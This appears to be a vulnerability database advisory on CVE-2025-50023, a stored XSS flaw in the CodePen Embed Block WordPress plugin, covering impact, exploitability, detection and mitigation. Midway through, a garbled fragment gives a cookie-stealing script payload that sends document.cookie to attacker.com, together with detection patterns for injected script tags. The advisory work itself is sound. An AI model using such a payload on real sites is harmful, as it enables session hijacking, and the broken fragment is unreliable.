
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-50023 is a Stored Cross-Site Scripting (XSS) vulnerability in the CodePen Embed Block WordPress plugin, developed by Chris Coyier. The flaw affects all versions from the initial release through version 1.2.0 (inclusive), and was published on June 20, 2025. It carries a CVSS v3.1 base score of 5.9 (Medium), reflecting a network-based attack requiring high privileges and user interaction but with a changed scope (Feedly, VulDB).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically the stored variant. An authenticated attacker with high-level privileges (e.g., editor or administrator) can inject malicious scripts through the CodePen Embed Block's input fields, which are then persistently stored and rendered in the browser of any user who views the affected page. The attack vector is network-based with low complexity, but requires user interaction (a victim visiting the page) to trigger script execution (Feedly).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session when they visit a page containing the malicious embed block. This can lead to session hijacking, credential theft, defacement of page content, or redirection to malicious sites. The CVSS scope is marked as "Changed," indicating the impact extends beyond the vulnerable component itself to affect other resources such as the victim's browser environment (Feedly).
No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-50023 as of the available data. The EPSS score is very low at approximately 0.033%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high privileges (e.g., editor role or above on a WordPress site), which significantly limits the attack surface (Feedly, Wordfence).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field within the block./wp-admin/post.php or the REST API (/wp-json/wp/v2/) containing script tags or encoded JavaScript payloads in block content fields.<script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the wp_posts table within CodePen Embed Block content.Users should update the CodePen Embed Block plugin to a version beyond 1.2.0 once a patched release is available from the plugin author or the WordPress plugin repository. In the interim, site administrators should restrict block editor access to trusted users only and review existing pages using the CodePen Embed Block for unexpected or suspicious content. Implementing a Content Security Policy (CSP) header can help reduce the impact of XSS attacks by limiting script execution to trusted sources (Feedly, Wordfence).
Wordfence included CVE-2025-50023 in its weekly WordPress vulnerability report for the period of June 16–22, 2025, flagging it as part of a broader set of plugin vulnerabilities disclosed that week. No significant independent researcher commentary or widespread media coverage has been identified beyond standard vulnerability database entries (Wordfence).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."